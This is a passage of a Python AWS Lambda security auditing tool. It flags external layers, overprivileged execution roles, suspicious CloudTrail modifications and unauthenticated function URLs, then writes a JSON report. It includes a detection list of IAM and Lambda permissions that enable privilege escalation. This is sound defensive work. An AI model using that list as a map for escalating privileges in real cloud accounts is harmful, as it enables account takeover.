                    findings.append({
                        "type": "external_layer",
                        "function_name": func["function_name"],
                        "layer_arn": layer_arn,
                        "layer_account": layer_account,
                        "severity": "high",
                        "description": f"Function uses layer from external account {layer_account}",
                    })

                layer_accounts.setdefault(layer_arn, []).append(func["function_name"])

    # Check for layers used by many functions (high-impact if compromised)
    for layer_arn, func_names in layer_accounts.items():
        if len(func_names) >= 5:
            findings.append({
                "type": "high_impact_layer",
                "layer_arn": layer_arn,
                "affected_functions": func_names,
                "severity": "medium",
                "description": f"Layer is shared across {len(func_names)} functions - compromise would be high impact",
            })

    return findings


def detect_privilege_escalation_paths(iam_client, functions):
    """Identify Lambda functions with overprivileged execution roles."""
    findings = []
    checked_roles = {}

    dangerous_actions = [
        "iam:PassRole", "iam:CreateUser", "iam:CreateRole", "iam:AttachRolePolicy",
        "iam:AttachUserPolicy", "iam:PutRolePolicy", "iam:PutUserPolicy",
        "iam:CreateAccessKey", "iam:UpdateAssumeRolePolicy",
        "lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration",
        "lambda:CreateFunction", "lambda:InvokeFunction",
        "sts:AssumeRole",
    ]

    for func in functions:
        role_arn = func["role"]
        role_name = role_arn.split("/")[-1]

        if role_name in checked_roles:
            role_findings = checked_roles[role_name]
        else:
            role_findings = {"dangerous_permissions": [], "has_wildcard_resource": False, "has_admin": False}

            try:
                # Check attached policies
                attached = iam_client.list_attached_role_policies(RoleName=role_name)
                for policy in attached["AttachedPolicies"]:
                    if policy["PolicyName"] in ("AdministratorAccess", "PowerUserAccess"):
                        role_findings["has_admin"] = True

                    try:
                        policy_info = iam_client.get_policy(PolicyArn=policy["PolicyArn"])
                        version_id = policy_info["Policy"]["DefaultVersionId"]
                        policy_doc = iam_client.get_policy_version(
                            PolicyArn=policy["PolicyArn"], VersionId=version_id
                        )
                        for stmt in policy_doc["PolicyVersion"]["Document"].get("Statement", []):
                            if stmt.get("Effect") != "Allow":
                                continue
                            actions = stmt.get("Action", [])
                            if isinstance(actions, str):
                                actions = [actions]
                            resources = stmt.get("Resource", [])
                            if isinstance(resources, str):
                                resources = [resources]

                            if "*" in actions:
                                role_findings["has_admin"] = True
                            if "*" in resources:
                                role_findings["has_wildcard_resource"] = True

                            for action in actions:
                                if action in dangerous_actions or action == "*":
                                    role_findings["dangerous_permissions"].append(action)
                    except ClientError:
                        continue

                # Check inline policies
                inline = iam_client.list_role_policies(RoleName=role_name)
                for policy_name in inline["PolicyNames"]:
                    try:
                        policy_doc = iam_client.get_role_policy(
                            RoleName=role_name, PolicyName=policy_name
                        )
                        for stmt in policy_doc["PolicyDocument"].get("Statement", []):
                            if stmt.get("Effect") != "Allow":
                                continue
                            actions = stmt.get("Action", [])
                            if isinstance(actions, str):
                                actions = [actions]
                            for action in actions:
                                if action in dangerous_actions or action == "*":
                                    role_findings["dangerous_permissions"].append(action)
                    except ClientError:
                        continue

            except ClientError as e:
                logger.warning("Cannot audit role %s: %s", role_name, e)

            checked_roles[role_name] = role_findings

        if role_findings["has_admin"]:
            findings.append({
                "type": "admin_execution_role",
                "function_name": func["function_name"],
                "role": role_name,
                "severity": "critical",
                "description": "Function has administrative execution role - any code modification grants full account access",
            })
        elif role_findings["dangerous_permissions"]:
            findings.append({
                "type": "dangerous_permissions",
                "function_name": func["function_name"],
                "role": role_name,
                "permissions": list(set(role_findings["dangerous_permissions"])),
                "severity": "high",
                "description": f"Execution role has dangerous permissions: {', '.join(set(role_findings['dangerous_permissions']))}",
            })

    return findings


def check_cloudtrail_for_modifications(cloudtrail_client, days_back=7):
    """Search CloudTrail for suspicious Lambda modifications."""
    findings = []
    end_time = datetime.now(timezone.utc)
    start_time = end_time - timedelta(days=days_back)

    suspicious_events = [
        "UpdateFunctionCode20150331v2",
        "UpdateFunctionConfiguration20150331v2",
        "PublishLayerVersion20181031",
        "AddLayerVersionPermission20181031",
        "CreateFunction20150331",
    ]

    for event_name in suspicious_events:
        try:
            response = cloudtrail_client.lookup_events(
                LookupAttributes=[
                    {"AttributeKey": "EventName", "AttributeValue": event_name}
                ],
                StartTime=start_time,
                EndTime=end_time,
                MaxResults=50,
            )
            for event in response.get("Events", []):
                ct_event = json.loads(event.get("CloudTrailEvent", "{}"))
                req_params = ct_event.get("requestParameters", {})

                finding = {
                    "event_name": event_name,
                    "time": event["EventTime"].isoformat(),
                    "user": event.get("Username"),
                    "source_ip": ct_event.get("sourceIPAddress"),
                    "user_agent": ct_event.get("userAgent", "")[:100],
                    "function_name": req_params.get("functionName"),
                    "suspicious": False,
                    "indicators": [],
                }

                # Flag suspicious patterns
                user_agent = ct_event.get("userAgent", "")
                if "console.amazonaws.com" not in user_agent and "cloudformation" not in user_agent.lower():
                    if "UpdateFunctionCode" in event_name:
                        finding["suspicious"] = True
                        finding["indicators"].append("Function code updated outside console/CloudFormation")

                # Check for role changes
                if "role" in req_params and "UpdateFunctionConfiguration" in event_name:
                    finding["suspicious"] = True
                    finding["indicators"].append(f"Execution role changed to: {req_params['role']}")

                # Check for layer additions
                if "layers" in req_params and "UpdateFunctionConfiguration" in event_name:
                    finding["suspicious"] = True
                    finding["indicators"].append(f"Layers modified: {req_params['layers']}")

                # Off-hours modification
                event_hour = event["EventTime"].hour
                if event_hour < 6 or event_hour > 22:
                    finding["indicators"].append(f"Modification at unusual hour: {event_hour}:00 UTC")

                findings.append(finding)

        except ClientError as e:
            logger.warning("CloudTrail query failed for %s: %s", event_name, e)

    return findings


def check_function_url_security(lambda_client, functions):
    """Check Lambda function URLs for insecure authentication."""
    findings = []
    for func in functions:
        if func.get("has_function_url") and func.get("function_url_auth") == "NONE":
            findings.append({
                "type": "unauthenticated_function_url",
                "function_name": func["function_name"],
                "severity": "high",
                "description": "Function URL has AuthType=NONE - publicly accessible without authentication",
            })
    return findings


def generate_report(functions, event_sources, injection_findings, layer_findings,
                    escalation_findings, cloudtrail_findings, url_findings):
    """Generate comprehensive serverless injection detection report."""

    all_findings = []
    for f in injection_findings:
        f["category"] = "code_injection"
        all_findings.append(f)
    for f in layer_findings:
        f["category"] = "layer_security"
        all_findings.append(f)
    for f in escalation_findings:
        f["category"] = "privilege_escalation"
        all_findings.append(f)
    for f in cloudtrail_findings:
        if f.get("suspicious"):
            f["category"] = "suspicious_modification"
            f["severity"] = "high"
            all_findings.append(f)
    for f in url_findings:
        f["category"] = "function_url"
        all_findings.append(f)

    critical = [f for f in all_findings if f.get("severity") == "critical"]
    high = [f for f in all_findings if f.get("severity") == "high"]

    report = {
        "report_type": "Serverless Function Injection Assessment",
        "generated_at": datetime.now(timezone.utc).isoformat(),
        "summary": {
            "functions_analyzed": len(functions),
            "event_source_mappings": len(event_sources),
            "total_findings": len(all_findings),
            "critical_findings": len(critical),
            "high_findings": len(high),
            "injection_sinks_found": len(injection_findings),
            "layer_issues": len(layer_findings),
            "escalation_paths": len(escalation_findings),
            "suspicious_modifications": len([f for f in cloudtrail_findings if f.get("suspicious")]),
        },
        "findings": all_findings,
        "functions": functions,
        "event_source_mappings": event_sources,
        "cloudtrail_events": cloudtrail_findings,
    }

    return report


def main():
    parser = argparse.ArgumentParser(description="Serverless Function Injection Detection Agent")
    parser.add_argument("--region", default="us-east-1", help="AWS region")
    parser.add_argument("--functions", nargs="+", help="Specific function names to scan (default: all)")
    parser.add_argument("--scan-code", action="store_true", help="Download and scan function code for injection sinks")
    parser.add_argument("--cloudtrail-days", type=int, default=7, help="Days of CloudTrail history to search")
    parser.add_argument("--output", default="serverless_injection_report.json", help="Output report file")
    args = parser.parse_args()

    session = boto3.Session(region_name=args.region)
    lambda_client = session.client("lambda")
    iam_client = session.client("iam")
    cloudtrail_client = session.client("cloudtrail")

    logger.info("Starting serverless function injection detection in %s", args.region)

    # Step 1: Enumerate functions
    all_functions = enumerate_functions(lambda_client)
    if args.functions:
        all_functions = [f for f in all_functions if f["function_name"] in args.functions]

    # Step 2: Get event source mappings
    event_sources = get_event_source_mappings(lambda_client)

    # Step 3: Scan code for injection patterns
    injection_findings = []
    if args.scan_code:
        work_dir = tempfile.mkdtemp(prefix="lambda_scan_")
        try:
            for func in all_functions:
                if func["runtime_family"] in INJECTION_PATTERNS:
                    logger.info("Scanning %s (%s)", func["function_name"], func["runtime"])
                    findings = download_and_scan_function(
                        lambda_client, func["function_name"],
                        func["runtime_family"], work_dir
                    )
                    injection_findings.extend(findings)
        finally:
            shutil.rmtree(work_dir, ignore_errors=True)

    # Step 4: Audit layers
    layer_findings = audit_layers(lambda_client, all_functions)

    # Step 5: Detect privilege escalation paths
    escalation_findings = detect_privilege_escalation_paths(iam_client, all_functions)

    # Step 6: Check CloudTrail for suspicious modifications
    cloudtrail_findings = check_cloudtrail_for_modifications(cloudtrail_client, args.cloudtrail_days)

    # Step 7: Check function URL security
    url_findings = check_function_url_security(lambda_client, all_functions)

    # Generate report
    report = generate_report(
        all_functions, event_sources, injection_findings, layer_findings,
        escalation_findings, cloudtrail_findings, url_findings
    )

    with open(args.output, "w") as f:
        json.dump(report, f, indent=2, default=str)
    logger.info("Report saved to %s", args.output)

    summary = report["summary"]
    logger.info(
        "Assessment complete: %d functions, %d findings (%d critical, %d high)",
        summary["functions_analyzed"],
        summary["total_findings"],
        summary["critical_findings"],
        summary["high_findings"],
    )

    if summary["critical_findings"] > 0:
        logger.warning("CRITICAL FINDINGS DETECTED:")
        for f in report["findings"]:
            if f.get("severity") == "critical":
                logger.warning("  [%s] %s: %s", f.get("category", ""), f.get("function_name", ""), f.get("sink", f.get("description", "")))

    return 0 if summary["critical_findings"] == 0 else 1


if __name__ == "__main__":
    sys.exit(main())

Keep exploring